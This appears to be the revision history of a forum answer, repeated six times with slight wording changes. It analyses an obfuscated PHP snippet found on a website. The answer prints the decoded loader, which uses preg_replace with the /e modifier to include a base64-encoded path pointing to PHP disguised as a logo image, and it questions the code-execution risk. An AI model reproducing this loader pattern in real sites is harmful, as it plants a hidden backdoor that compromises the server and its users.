Return to Answer

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? There seems to be a security problem that allows code execution but it could be just for code obfuscation.

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? There seems to be a security problem that allows code execution but it could be just for code obfuscation.

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? It seems to be a security problem, as it could allow code execution.

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? There seems to be a security problem that allows code execution but it could be just for code obfuscation.

It seems this code creates this:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? It seems to be a security problem, as it could allow code execution.

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> 

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:

/home4/mitzvahc/public_html/assets/img/logo_small.png 

Why is it using preg_replace? It seems to be a security problem, as it could allow code execution.